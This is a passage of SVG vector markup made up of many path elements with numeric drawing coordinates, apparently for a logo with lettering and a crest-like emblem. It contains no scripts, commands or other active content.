d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" 